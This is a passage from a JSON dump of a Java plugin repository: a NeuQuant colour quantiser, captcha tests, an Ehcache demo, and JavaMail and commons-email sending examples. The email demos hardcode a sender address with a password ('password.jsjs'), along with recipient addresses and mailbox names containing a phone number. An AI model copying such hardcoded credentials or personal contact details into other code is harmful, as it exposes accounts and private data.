1/netsize */\n            bias[i] = 0;\n        }\n    }\n\n    public byte[] colorMap() {\n        byte[] map = new byte[3 * netsize];\n        int[] index = new int[netsize];\n        for (int i = 0; i < netsize; i++)\n            index[network[i][3]] = i;\n        int k = 0;\n        for (int i = 0; i < netsize; i++) {\n            int j = index[i];\n            map[k++] = (byte) (network[j][0]);\n            map[k++] = (byte) (network[j][1]);\n            map[k++] = (byte) (network[j][2]);\n        }\n        return map;\n    }\n\n    /* Insertion sort of network and building of netindex[0..255] (to do after unbias)\n       ------------------------------------------------------------------------------- */\n    public void inxbuild() {\n\n        int i, j, smallpos, smallval;\n        int[] p;\n        int[] q;\n        int previouscol, startpos;\n\n        previouscol = 0;\n        startpos = 0;\n        for (i = 0; i < netsize; i++) {\n            p = network[i];\n            smallpos = i;\n            smallval = p[1]; /* index on g */\n            /* find smallest in i..netsize-1 */\n            for (j = i + 1; j < netsize; j++) {\n                q = network[j];\n                if (q[1] < smallval) { /* index on g */\n                    smallpos = j;\n                    smallval = q[1]; /* index on g */\n                }\n            }\n            q = network[smallpos];\n            /* swap p (i) and q (smallpos) entries */\n            if (i != smallpos) {\n                j = q[0];\n                q[0] = p[0];\n                p[0] = j;\n                j = q[1];\n                q[1] = p[1];\n                p[1] = j;\n                j = q[2];\n                q[2] = p[2];\n                p[2] = j;\n                j = q[3];\n                q[3] = p[3];\n                p[3] = j;\n            }\n            /* smallval entry is now in position i */\n            if (smallval != previouscol) {\n                netindex[previouscol] = (startpos + i) >> 1;\n                for (j = previouscol + 1; j < smallval; j++)\n                    netindex[j] = i;\n                previouscol = smallval;\n                startpos = i;\n            }\n        }\n        netindex[previouscol] = (startpos + maxnetpos) >> 1;\n        for (j = previouscol + 1; j < 256; j++)\n            netindex[j] = maxnetpos; /* really 256 */\n    }\n\n    /* Main Learning Loop\n       ------------------ */\n    public void learn() {\n\n        int i, j, b, g, r;\n        int radius, rad, alpha, step, delta, samplepixels;\n        byte[] p;\n        int pix, lim;\n\n        if (lengthcount < minpicturebytes)\n            samplefac = 1;\n        alphadec = 30 + ((samplefac - 1) / 3);\n        p = thepicture;\n        pix = 0;\n        lim = lengthcount;\n        samplepixels = lengthcount / (3 * samplefac);\n        delta = samplepixels / ncycles;\n        alpha = initalpha;\n        radius = initradius;\n\n        rad = radius >> radiusbiasshift;\n        if (rad <= 1)\n            rad = 0;\n        for (i = 0; i < rad; i++)\n            radpower[i] =\n                    alpha * (((rad * rad - i * i) * radbias) / (rad * rad));\n\n        //fprintf(stderr,\"beginning 1D learning: initial radius=%d\\n\", rad);\n\n        if (lengthcount < minpicturebytes)\n            step = 3;\n        else if ((lengthcount % prime1) != 0)\n            step = 3 * prime1;\n        else {\n            if ((lengthcount % prime2) != 0)\n                step = 3 * prime2;\n            else {\n                if ((lengthcount % prime3) != 0)\n                    step = 3 * prime3;\n                else\n                    step = 3 * prime4;\n            }\n        }\n\n        i = 0;\n        while (i < samplepixels) {\n            b = (p[pix + 0] & 0xff) << netbiasshift;\n            g = (p[pix + 1] & 0xff) << netbiasshift;\n            r = (p[pix + 2] & 0xff) << netbiasshift;\n            j = contest(b, g, r);\n\n            altersingle(alpha, j, b, g, r);\n            if (rad != 0)\n                alterneigh(rad, j, b, g, r); /* alter neighbours */\n\n            pix += step;\n            if (pix >= lim)\n                pix -= lengthcount;\n\n            i++;\n            if (delta == 0)\n                delta = 1;\n            if (i % delta == 0) {\n                alpha -= alpha / alphadec;\n                radius -= radius / radiusdec;\n                rad = radius >> radiusbiasshift;\n                if (rad <= 1)\n                    rad = 0;\n                for (j = 0; j < rad; j++)\n                    radpower[j] =\n                            alpha * (((rad * rad - j * j) * radbias) / (rad * rad));\n            }\n        }\n        //fprintf(stderr,\"finished 1D learning: final alpha=%f !\\n\",((float)alpha)/initalpha);\n    }\n\n    /* Search for BGR values 0..255 (after net is unbiased) and return colour index\n       ---------------------------------------------------------------------------- */\n    public int map(int b, int g, int r) {\n\n        int i, j, dist, a, bestd;\n        int[] p;\n        int best;\n\n        bestd = 1000; /* biggest possible dist is 256*3 */\n        best = -1;\n        i = netindex[g]; /* index on g */\n        j = i - 1; /* start at netindex[g] and work outwards */\n\n        while ((i < netsize) || (j >= 0)) {\n            if (i < netsize) {\n                p = network[i];\n                dist = p[1] - g; /* inx key */\n                if (dist >= bestd)\n                    i = netsize; /* stop iter */\n                else {\n                    i++;\n                    if (dist < 0)\n                        dist = -dist;\n                    a = p[0] - b;\n                    if (a < 0)\n                        a = -a;\n                    dist += a;\n                    if (dist < bestd) {\n                        a = p[2] - r;\n                        if (a < 0)\n                            a = -a;\n                        dist += a;\n                        if (dist < bestd) {\n                            bestd = dist;\n                            best = p[3];\n                        }\n                    }\n                }\n            }\n            if (j >= 0) {\n                p = network[j];\n                dist = g - p[1]; /* inx key - reverse dif */\n                if (dist >= bestd)\n                    j = -1; /* stop iter */\n                else {\n                    j--;\n                    if (dist < 0)\n                        dist = -dist;\n                    a = p[0] - b;\n                    if (a < 0)\n                        a = -a;\n                    dist += a;\n                    if (dist < bestd) {\n                        a = p[2] - r;\n                        if (a < 0)\n                            a = -a;\n                        dist += a;\n                        if (dist < bestd) {\n                            bestd = dist;\n                            best = p[3];\n                        }\n                    }\n                }\n            }\n        }\n        return (best);\n    }\n\n    public byte[] process() {\n        learn();\n        unbiasnet();\n        inxbuild();\n        return colorMap();\n    }\n\n    /* Unbias network to give byte values 0..255 and record position i to prepare for sort\n       ----------------------------------------------------------------------------------- */\n    public void unbiasnet() {\n\n        int i, j;\n\n        for (i = 0; i < netsize; i++) {\n            network[i][0] >>= netbiasshift;\n            network[i][1] >>= netbiasshift;\n            network[i][2] >>= netbiasshift;\n            network[i][3] = i; /* record colour no */\n        }\n    }\n\n    /* Move adjacent neurons by precomputed alpha*(1-((i-j)^2/[r]^2)) in radpower[|i-j|]\n       --------------------------------------------------------------------------------- */\n    protected void alterneigh(int rad, int i, int b, int g, int r) {\n\n        int j, k, lo, hi, a, m;\n        int[] p;\n\n        lo = i - rad;\n        if (lo < -1)\n            lo = -1;\n        hi = i + rad;\n        if (hi > netsize)\n            hi = netsize;\n\n        j = i + 1;\n        k = i - 1;\n        m = 1;\n        while ((j < hi) || (k > lo)) {\n            a = radpower[m++];\n            if (j < hi) {\n                p = network[j++];\n                try {\n                    p[0] -= (a * (p[0] - b)) / alpharadbias;\n                    p[1] -= (a * (p[1] - g)) / alpharadbias;\n                    p[2] -= (a * (p[2] - r)) / alpharadbias;\n                } catch (Exception e) {\n                } // prevents 1.3 miscompilation\n            }\n            if (k > lo) {\n                p = network[k--];\n                try {\n                    p[0] -= (a * (p[0] - b)) / alpharadbias;\n                    p[1] -= (a * (p[1] - g)) / alpharadbias;\n                    p[2] -= (a * (p[2] - r)) / alpharadbias;\n                } catch (Exception e) {\n                }\n            }\n        }\n    }\n\n    /* Move neuron i towards biased (b,g,r) by factor alpha\n       ---------------------------------------------------- */\n    protected void altersingle(int alpha, int i, int b, int g, int r) {\n\n        /* alter hit neuron */\n        int[] n = network[i];\n        n[0] -= (alpha * (n[0] - b)) / initalpha;\n        n[1] -= (alpha * (n[1] - g)) / initalpha;\n        n[2] -= (alpha * (n[2] - r)) / initalpha;\n    }\n\n    /* Search for biased BGR values\n       ---------------------------- */\n    protected int contest(int b, int g, int r) {\n\n        /* finds closest neuron (min dist) and updates freq */\n        /* finds best neuron (min dist-bias) and returns position */\n        /* for frequently chosen neurons, freq[i] is high and bias[i] is negative */\n        /* bias[i] = gamma*((1/netsize)-freq[i]) */\n\n        int i, dist, a, biasdist, betafreq;\n        int bestpos, bestbiaspos, bestd, bestbiasd;\n        int[] n;\n\n        bestd = ~(((int) 1) << 31);\n        bestbiasd = bestd;\n        bestpos = -1;\n        bestbiaspos = bestpos;\n\n        for (i = 0; i < netsize; i++) {\n            n = network[i];\n            dist = n[0] - b;\n            if (dist < 0)\n                dist = -dist;\n            a = n[1] - g;\n            if (a < 0)\n                a = -a;\n            dist += a;\n            a = n[2] - r;\n            if (a < 0)\n                a = -a;\n            dist += a;\n            if (dist < bestd) {\n                bestd = dist;\n                bestpos = i;\n            }\n            biasdist = dist - ((bias[i]) >> (intbiasshift - netbiasshift));\n            if (biasdist < bestbiasd) {\n                bestbiasd = biasdist;\n                bestbiaspos = i;\n            }\n            betafreq = (freq[i] >> betashift);\n            freq[i] -= betafreq;\n            bias[i] += (betafreq << gammashift);\n        }\n        freq[bestpos] += beta;\n        bias[bestpos] -= betagamma;\n        return (bestbiaspos);\n    }\n}"
  },
  {
    "path": "jun_java_plugins/jun_easycaptcha/src/test/java/com/wf/captcha/CaptchaTest.java",
    "content": "package com.wf.captcha;\n\nimport org.junit.Test;\n\nimport java.io.File;\nimport java.io.FileOutputStream;\n\n/**\n * 测试类\n * Created by 王帆 on 2018-07-27 上午 10:08.\n */\npublic class CaptchaTest {\n\n    @Test\n    public void test() throws Exception {\n        /*for (int i = 0; i < 10; i++) {\n            SpecCaptcha specCaptcha = new SpecCaptcha();\n            specCaptcha.setLen(4);\n            specCaptcha.setFont(i, 32f);\n            System.out.println(specCaptcha.text());\n            specCaptcha.out(new FileOutputStream(new File(\"C:/Java/aa\" + i + \".png\")));\n        }*/\n    }\n\n    @Test\n    public void testGIf() throws Exception {\n        /*for (int i = 0; i < 10; i++) {\n            GifCaptcha gifCaptcha = new GifCaptcha();\n            gifCaptcha.setLen(5);\n            gifCaptcha.setFont(i, 32f);\n            System.out.println(gifCaptcha.text());\n            gifCaptcha.out(new FileOutputStream(new File(\"C:/Java/aa\" + i + \".gif\")));\n        }*/\n    }\n\n    @Test\n    public void testHan() throws Exception {\n        /*for (int i = 0; i < 10; i++) {\n            ChineseCaptcha chineseCaptcha = new ChineseCaptcha();\n            System.out.println(chineseCaptcha.text());\n            chineseCaptcha.out(new FileOutputStream(new File(\"C:/Java/aa\" + i + \".png\")));\n        }*/\n    }\n\n    @Test\n    public void testGifHan() throws Exception {\n        /*for (int i = 0; i < 10; i++) {\n            ChineseGifCaptcha chineseGifCaptcha = new ChineseGifCaptcha();\n            System.out.println(chineseGifCaptcha.text());\n            chineseGifCaptcha.out(new FileOutputStream(new File(\"C:/Java/aa\" + i + \".gif\")));\n        }*/\n    }\n\n    @Test\n    public void testArit() throws Exception {\n        /*for (int i = 0; i < 10; i++) {\n            ArithmeticCaptcha specCaptcha = new ArithmeticCaptcha();\n            specCaptcha.setLen(3);\n            specCaptcha.setFont(i, 28f);\n            System.out.println(specCaptcha.getArithmeticString() + \" \" + specCaptcha.text());\n            specCaptcha.out(new FileOutputStream(new File(\"C:/Java/aa\" + i + \".png\")));\n        }*/\n    }\n\n    @Test\n    public void testBase64() throws Exception {\n        /*GifCaptcha specCaptcha = new GifCaptcha();\n        System.out.println(specCaptcha.toBase64(\"\"));*/\n    }\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_easycaptcha/web/WEB-INF/web.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<web-app xmlns=\"http://xmlns.jcp.org/xml/ns/javaee\"\n         xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n         xsi:schemaLocation=\"http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd\"\n         version=\"4.0\">\n    <!-- 图形验证码servlet -->\n    <servlet>\n        <servlet-name>CaptchaServlet</servlet-name>\n        <servlet-class>com.wf.captcha.servlet.CaptchaServlet</servlet-class>\n    </servlet>\n    <servlet-mapping>\n        <servlet-name>CaptchaServlet</servlet-name>\n        <url-pattern>/captcha</url-pattern>\n    </servlet-mapping>\n</web-app>"
  },
  {
    "path": "jun_java_plugins/jun_easycaptcha/web/index.html",
    "content": "<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n    <meta charset=\"UTF-8\">\n    <title>验证码测试</title>\n</head>\n<body>\n<img src=\"/captcha\" width=\"130px\" height=\"48px\" />\n</body>\n</html>"
  },
  {
    "path": "jun_java_plugins/jun_ehcache/pom.xml",
    "content": "<project xmlns=\"http://maven.apache.org/POM/4.0.0\"\n\txmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n\txsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n\t<modelVersion>4.0.0</modelVersion>\n\t<groupId>io.github.wujun728</groupId>\n\t<version>1.0</version>\n\t<artifactId>jun_ehcache</artifactId>\n\n\t<dependencies>\n\n\t\t<dependency>\n\t\t\t<groupId>net.sf.ehcache</groupId>\n\t\t\t<artifactId>ehcache</artifactId>\n\t\t\t<version>2.10.3</version>\n\t\t</dependency>\n\n\t</dependencies>\n</project>"
  },
  {
    "path": "jun_java_plugins/jun_ehcache/src/main/java/com/jun/plugin/ehcache/EhcacheTest.java",
    "content": "package com.jun.plugin.ehcache;\n\nimport net.sf.ehcache.Cache;\nimport net.sf.ehcache.CacheManager;\nimport net.sf.ehcache.Element;\n\npublic class EhcacheTest {\n\n\tpublic static void main(String[] args) {\n\t\tCacheManager manager=CacheManager.create(\"./src/main/resources/ehcache.xml\");\n\t\tCache c=manager.getCache(\"a\"); \n\t\tElement e=new Element(\"test\",\"abcde\");\n\t\tc.put(e); \n\t\t\n\t\tElement e2=c.get(\"test\");\n\t\tSystem.out.println(e2);\n\t\tSystem.out.println(e2.getObjectValue());\n\t\t\n\t\tc.flush();\n\t\tmanager.shutdown();\n\t\t\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_ehcache/src/main/resources/ehcache.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n \n<ehcache>\n   <!-- \n         磁盘存储:将缓存中暂时不使用的对象,转移到硬盘,类似于Windows系统的虚拟内存\n          path:指定在硬盘上存储对象的路径\n   -->\n   <diskStore path=\"C:\\ehcache\" />\n    \n   <!-- \n        defaultCache:默认的缓存配置信息,如果不加特殊说明,则所有对象按照此配置项处理\n        maxElementsInMemory:设置了缓存的上限,最多存储多少个记录对象\n        eternal:代表对象是否永不过期\n        overflowToDisk:当内存中Element数量达到maxElementsInMemory时，Ehcache将会Element写到磁盘中\n   -->\n   <defaultCache\n      maxElementsInMemory=\"100\"\n      eternal=\"true\"\n      overflowToDisk=\"true\"/>\n \n     \n    <cache \n      name=\"a\"\n      maxElementsInMemory=\"100\"\n      eternal=\"true\"\n      overflowToDisk=\"true\"/>\n \n</ehcache>"
  },
  {
    "path": "jun_java_plugins/jun_email/README.md",
    "content": "### jun_email,集成了commons-email邮件发送、java-mail邮件收发、带附件、html邮件、文本邮件等\n1、commons-email邮件发送\n2、java-email邮件发送\n\n\n#### Installation 安装使用\n\n1、配置POM\n2、直接参考Demo\n\n\n#### Documents 文档\n\n1、文档\n\n\n#### Feature 计划\n\n1、待补充邮件管理服务功能\n\n\n\n\n\n\n"
  },
  {
    "path": "jun_java_plugins/jun_email/doc/myemail.md",
    "content": "# myemail\n  \n## 特性\n\n- 简洁的邮件发送API\n- 支持自定义发件人昵称\n- 支持扩展邮件Message\n- 支持抄送／HTML／附件\n- 支持异步发送\n- 支持邮件模板 \n\n## 使用\n\n**maven坐标**\n\n```xml\n<dependency>\n    <groupId>io.github.biezhi</groupId>\n    <artifactId>oh-my-email</artifactId>\n    <version>0.0.4</version>\n</dependency>\n```\n\n## 举个栗子🌰\n\n```java\n@Before\npublic void before() throws GeneralSecurityException {\n    // 配置，一次即可\n    OhMyEmail.config(SMTP_QQ(), \"xiaojiejie@qq.com\", \"your@password\");\n}\n\n@Test\npublic void testSendText() throws MessagingException {\n    OhMyEmail.subject(\"这是一封测试TEXT邮件\")\n            .from(\"小姐姐的邮箱\")\n            .to(\"xiaojiejie@gmail.com\")\n            .text(\"信件内容\")\n            .send();\n}\n\n@Test\npublic void testSendHtml() throws MessagingException {\n    OhMyEmail.subject(\"这是一封测试HTML邮件\")\n            .from(\"小姐姐的邮箱\")\n            .to(\"xiaojiejie@gmail.com\")\n            .html(\"<h1 font=red>信件内容</h1>\")\n            .send();\n}\n\n@Test\npublic void testSendAttach() throws MessagingException {\n    OhMyEmail.subject(\"这是一封测试附件邮件\")\n            .from(\"小姐姐的邮箱\")\n            .to(\"xiaojiejie@gmail.com\")\n            .html(\"<h1 font=red>信件内容</h1>\")\n            .attach(new File(\"/Users/biezhi/Downloads/hello.jpeg\"), \"测试图片.jpeg\")\n            .send();\n}\n\n@Test\npublic void testSendAttachURL() throws MessagingException {\n    try {\n        OhMyEmail.subject(\"这是一封测试网络资源作为附件的邮件\")\n                .from(\"小姐姐的邮箱\")\n                .to(\"xiaojiejie@gmail.com\")\n                .html(\"<h1 font=red>信件内容</h1>\")\n                .attachURL(new URL(\"https://avatars1.githubusercontent.com/u/2784452?s=40&v=4\"), \"测试图片.jpeg\")\n                .send();\n    } catch (MalformedURLException e) {\n        e.printStackTrace();\n    }\n}\n\n\n@Test\npublic void testPebble() throws IOException, PebbleException, MessagingException {\n    PebbleEngine engine = new PebbleEngine.Builder().build();\n    PebbleTemplate compiledTemplate = engine.getTemplate(\"register.html\");\n\n    Map<String, Object> context = new HashMap<String, Object>();\n    context.put(\"username\", \"biezhi\");\n    context.put(\"email\", \"admin@biezhi.me\");\n\n    Writer writer = new StringWriter();\n    compiledTemplate.evaluate(writer, context);\n\n    String output = writer.toString();\n    System.out.println(output);\n\n    OhMyEmail.subject(\"这是一封测试Pebble模板邮件\")\n            .from(\"小姐姐的邮箱\")\n            .to(\"xiaojiejie@gmail.com\")\n            .html(output)\n            .send();\n}\n\n@Test\npublic void testJetx() throws IOException, PebbleException, MessagingException {\n    JetEngine engine = JetEngine.create();\n    JetTemplate template = engine.getTemplate(\"/register.jetx\");\n\n    Map<String, Object> context = new HashMap<String, Object>();\n    context.put(\"username\", \"biezhi\");\n    context.put(\"email\", \"admin@biezhi.me\");\n    context.put(\"url\", \"<a href='http://biezhi.me'>https://biezhi.me/active/asdkjajdasjdkaweoi</a>\");\n\n    StringWriter writer = new StringWriter();\n    template.render(context, writer);\n    String output = writer.toString();\n    System.out.println(output);\n\n    OhMyEmail.subject(\"这是一封测试Jetx模板邮件\")\n            .from(\"小姐姐的邮箱\")\n            .to(\"xiaojiejie@gmail.com\")\n            .html(output)\n            .send();\n}\n```\n\n### 邮件模版\n\n```html\n<div>\n    <p>亲爱的<b>{{ username }}</b>, 欢迎加入 biezhi !</p>\n    <p>当您收到这封信的时候，您已经可以正常登录了。</p>\n    <p>请点击链接登录首页: <a href='http://www.baidu.com'>http://biezhi.me/xxxxx</a></p>\n    <p>如果您的 email 程序不支持链接点击，请将上面的地址拷贝至您的浏览器(如IE)的地址栏进入。</p>\n    <p>如果您还想申请管理员权限，可以联系管理员 {{ email }}</p>\n    <p>我们对您产生的不便，深表歉意。</p>\n    <p>希望您在 biezhi 系统度过快乐的时光!</p>\n    <p></p>\n    <p>-----------------------</p>\n    <p></p>\n    <p>(这是一封自动产生的email，请勿回复。)</p>\n</div>\n```\n\n## 问题建议\n\n- 我的邮箱：`biezhi.me#gmail.com`\n"
  },
  {
    "path": "jun_java_plugins/jun_email/pom.xml",
    "content": "<?xml version=\"1.0\"?>\n<project\n\txsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\"\n\txmlns=\"http://maven.apache.org/POM/4.0.0\"\n\txmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\">\n\t<modelVersion>4.0.0</modelVersion>\n\t<groupId>io.github.wujun728</groupId>\n\t<artifactId>jun_email</artifactId>\n\t<version>1.0</version>\n\t<packaging>war</packaging>\n\n\n\t<properties>\n\t\t<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>\n\t</properties>\n\n\t<dependencies>\n\t\t<dependency>\n\t\t\t<groupId>junit</groupId>\n\t\t\t<artifactId>junit</artifactId>\n\t\t\t<version>4.13</version>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>org.apache.commons</groupId>\n\t\t\t<artifactId>commons-email</artifactId>\n\t\t\t<version>1.5</version>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>com.sun.mail</groupId>\n\t\t\t<artifactId>javax.mail</artifactId>\n\t\t\t<version>1.6.2</version>\n\t\t</dependency>\n\t\t<!-- https://mvnrepository.com/artifact/javax.servlet/javax.servlet-api -->\n\t\t<dependency>\n\t\t    <groupId>javax.servlet</groupId>\n\t\t    <artifactId>javax.servlet-api</artifactId>\n\t\t    <version>4.0.1</version>\n\t\t    <scope>provided</scope>\n\t\t</dependency>\n\t\t\n\t</dependencies>\n\t<build>\n\t\t<finalName>jun_email</finalName>\n\t</build>\n</project>\n"
  },
  {
    "path": "jun_java_plugins/jun_email/src/main/java/com/jun/plugin/base/email/commons_email/EmailHtmlTest.java",
    "content": "/**\n * @author Wujun\n **/\n\npackage com.jun.plugin.base.email.commons_email;\n\nimport java.net.URL;\n\nimport org.apache.commons.mail.HtmlEmail;\n\n\npublic class  EmailHtmlTest {\n\tpublic static void main(String[] args) throws Exception {\n\t\tEmailHtmlTest.sendMail(args);\n\t}\n\tpublic static void sendMail(String[] args) throws Exception {\n\t\t// Create the email message\n\t\tHtmlEmail email = new HtmlEmail();\n\t\t//email.setSmtpPort(587);\n\t\temail.setHostName(\"smtp.163.com\");\n\t\temail.setStartTLSEnabled(true);\n\t\t//email.setSSLOnConnect(true);\n\t\temail.setFrom(\"jsjs9494@163.com\", \"邮件主题-Html邮件测试\");\n\t\temail.setAuthentication(\"jsjs9494@163.com\", \"    \");\n\t\t\n\t\temail.addTo(\"245783660@qq.com\", \"用户名称1\");\n\t\t\n\t\temail.setSubject(\"邮件主题2-Html邮件测试\");\n\n\t\t// embed the image and get the content id\n\t\tURL url = new URL(\"https://avatars0.githubusercontent.com/u/20160804?s=460&u=9c3f4f51c4fafda7ca22431b6764166703928a2b&v=4\");\n\t\tString cid = email.embed(url, \"Bingo-logo\");\n\n\t\t// set the html message\n\t\temail.setHtmlMsg(\"<html><h1>Html类型邮件测试</h1>The Bingo logo - <img src=\\\"cid:\" + cid + \"\\\"></html>\");\n\n\t\t// set the alternative message\n\t\temail.setTextMsg(\"Your email client does not support HTML messages\");\n\n\t\t// send the email\n\t\temail.send();\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_email/src/main/java/com/jun/plugin/base/email/javamail/MailTest.java",
    "content": "package com.jun.plugin.base.email.javamail;\n\n\nimport java.util.ArrayList;\nimport java.util.Date;\nimport java.util.List;\n\npublic class MailTest {\n\tpublic static void main(String[] args) {\n\t\tMailTest.testSendEmail();\n\t}\n\n\tpublic static void testSendEmail() {\n\n\t\t// 测试163邮箱\n\t\t// 测试qq邮箱\n\t\t// 新浪邮箱 13077403326m@sina.cn\n\t\t// 139邮箱 13077403326@139.com\n\n\t\tString userName = \"jsjs9494@163.com\"; // 用户邮箱地址\n\t\tString password = \"password.jsjs\"; // 密码或者授权码\n\t\tString targetAddress = \"245783660@qq.com\"; // 接受者邮箱地址\n\n\t\t// 设置邮件内容\n\t\tMimeMessageDTO mimeDTO = new MimeMessageDTO();\n\t\tmimeDTO.setSentDate(new Date());\n\t\tmimeDTO.setSubject(\"邮件的标题\");\n\t\tmimeDTO.setText(\"邮件的内容<img src='https://avatars0.githubusercontent.com/u/20160804?s=460&u=9c3f4f51c4fafda7ca22431b6764166703928a2b&v=4'>\"\n\t\t\t\t+ targetAddress);\n\n\t\t// 发送单邮件--不带附件\n\t\tif (MailUtil.sendEmail(userName, password, targetAddress, mimeDTO)) {\n\t\t\tSystem.out.println(\"邮件发送成功！\");\n\t\t} else {\n\t\t\tSystem.out.println(\"邮件发送失败!!!\");\n\t\t}\n\t\t// 发送单邮件(带附件)\n\t\tList<String> filepath=new ArrayList<String>();\n\t\tfilepath.add(\"D:/testmail.txt\");\n\t\tfilepath.add(\"D:/testmail2.txt\");\n\t\tif (MailUtil.sendEmailByFile(userName, password, targetAddress, mimeDTO,filepath)) {\n\t\t\tSystem.out.println(\"邮件发送成功！\");\n\t\t} else {\n\t\t\tSystem.out.println(\"邮件发送失败!!!\");\n\t\t}\n\t\t\n\t\t// 群发邮件--不带附件\n\t\ttargetAddress = \"wujun728@163.com,245783660@qq.com\";\n\t\tif (MailUtil.sendGroupEmail(userName, password, targetAddress, mimeDTO)) {\n\t\t\tSystem.out.println(\"邮件发送成功！\");\n\t\t} else {\n\t\t\tSystem.out.println(\"邮件发送失败!!!\");\n\t\t}\n//\t\t// 群发邮件(带附件)\n\t\tif (MailUtil.sendGroupEmailByFile(userName, password, targetAddress, mimeDTO,filepath)) {\n\t\t\tSystem.out.println(\"邮件发送成功！\");\n\t\t} else {\n\t\t\tSystem.out.println(\"邮件发送失败!!!\");\n\t\t}\n\n\t}\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_email/src/main/java/com/jun/plugin/base/email/javamail/MailTest2.java",
    "content": "package com.jun.plugin.base.email.javamail;\n\nimport java.io.UnsupportedEncodingException;\nimport java.util.ArrayList;\nimport java.util.Date;\nimport java.util.List;\nimport java.util.Properties;\n\nimport javax.activation.DataHandler;\nimport javax.activation.FileDataSource;\nimport javax.mail.Message;\nimport javax.mail.MessagingException;\nimport javax.mail.Multipart;\nimport javax.mail.Session;\nimport javax.mail.Transport;\nimport javax.mail.internet.AddressException;\nimport javax.mail.internet.InternetAddress;\nimport javax.mail.internet.MimeBodyPart;\nimport javax.mail.internet.MimeMessage;\nimport javax.mail.internet.MimeMultipart;\nimport javax.mail.internet.MimeUtility;\n\n/** \n * Java Mail 工具类 \n *  \n * @author Wujun\n * @version 1.0 \n *  \n */  \npublic class MailTest2 {  \n    private static String host;  \n    private static String username;  \n    private static String password;  \n    private static String from;  \n    private static String nick;  \n  \n    static {  \n        try {  \n            // Test Data  \n            host = \"smtp.163.com\";  \n            username = \"jsjs9494@163.com\";  \n            password = \"      \";  \n            from = \"jsjs9494@163.com\";  \n            nick = \"测试admin\";  \n            // nick + from 组成邮箱的发件人信息  \n        } catch (Exception e) {  \n            e.printStackTrace();  \n        }  \n    }  \n  \n    /** \n     * 发送邮件 \n     *  \n     * @param to \n     *            收件人列表，以\",\"分割 \n     * @param subject \n     *            标题 \n     * @param body \n     *            内容 \n     * @param filepath \n     *            附件列表,无附件传递null \n     * @return \n     * @throws MessagingException \n     * @throws AddressException \n     * @throws UnsupportedEncodingException \n     */  \n    public static boolean sendMail(String to, String subject, String body,  \n            List<String> filepath) throws AddressException, MessagingException,  \n            UnsupportedEncodingException {  \n        // 参数修饰  \n        if (body == null) {  \n            body = \"\";  \n        }  \n        if (subject == null) {  \n            subject = \"无主题\";  \n        }  \n        // 创建Properties对象  \n        Properties props = System.getProperties();  \n        // 创建信件服务器  \n        props.put(\"mail.smtp.host\", host);  \n        props.put(\"mail.smtp.auth\", \"true\"); // 通过验证  \n        // 得到默认的对话对象  \n        Session session = Session.getDefaultInstance(props, null);  \n        // 创建一个消息，并初始化该消息的各项元素  \n        MimeMessage msg = new MimeMessage(session);  \n        nick = MimeUtility.encodeText(nick);  \n        msg.setFrom(new InternetAddress(nick + \"<\" + from + \">\"));  \n        // 创建收件人列表  \n        if (to != null && to.trim().length() > 0) {  \n            String[] arr = to.split(\",\");  \n            int receiverCount = arr.length;  \n            if (receiverCount > 0) {  \n                InternetAddress[] address = new InternetAddress[receiverCount];  \n                for (int i = 0; i < receiverCount; i++) {  \n                    address[i] = new InternetAddress(arr[i]);  \n                }  \n                msg.addRecipients(Message.RecipientType.TO, address);  \n                msg.setSubject(subject);  \n                // 后面的BodyPart将加入到此处创建的Multipart中  \n                Multipart mp = new MimeMultipart();  \n                // 附件操作  \n                if (filepath != null && filepath.size() > 0) {  \n                    for (String filename : filepath) {  \n                        MimeBodyPart mbp = new MimeBodyPart();  \n                        // 得到数据源  \n                        FileDataSource fds = new FileDataSource(filename);  \n                        // 得到附件本身并至入BodyPart  \n                        mbp.setDataHandler(new DataHandler(fds));  \n                        // 得到文件名同样至入BodyPart  \n                        mbp.setFileName(fds.getName());  \n                        mp.addBodyPart(mbp);  \n                    }  \n                    MimeBodyPart mbp = new MimeBodyPart();  \n                    mbp.setText(body);  \n                    mp.addBodyPart(mbp);  \n                    // 移走集合中的所有元素  \n                    filepath.clear();  \n                    // Multipart加入到信件  \n                    msg.setContent(mp);  \n                } else {  \n                    // 设置邮件正文  \n                    msg.setText(body);  \n                }  \n                // 设置信件头的发送日期  \n                msg.setSentDate(new Date());  \n                msg.saveChanges();  \n                // 发送信件  \n                Transport transport = session.getTransport(\"smtp\");  \n                transport.connect(host, username, password);  \n                transport.sendMessage(msg,  \n                        msg.getRecipients(Message.RecipientType.TO));  \n                transport.close();  \n                return true;  \n            } else {  \n                System.out.println(\"None receiver!\");  \n                return false;  \n            }  \n        } else {  \n            System.out.println(\"None receiver!\");  \n            return false;  \n        }  \n    }  \n  \n    public static void main(String[] args) throws AddressException,  \n            UnsupportedEncodingException, MessagingException {  \n        List<String> filepath = new ArrayList<>();  \n        filepath.add(\"E:\\\\books.xml\");  \n        filepath.add(\"E:\\\\books.xml\");  \n        sendMail(\"245783660@qq.com,wujun728@163.com\", \"注册信息邮件\", \"注册邮件，有附件\",  filepath);  \n    }  \n}"
  },
  {
    "path": "jun_java_plugins/jun_email/src/main/java/com/jun/plugin/base/email/javamail/MailUtil.java",
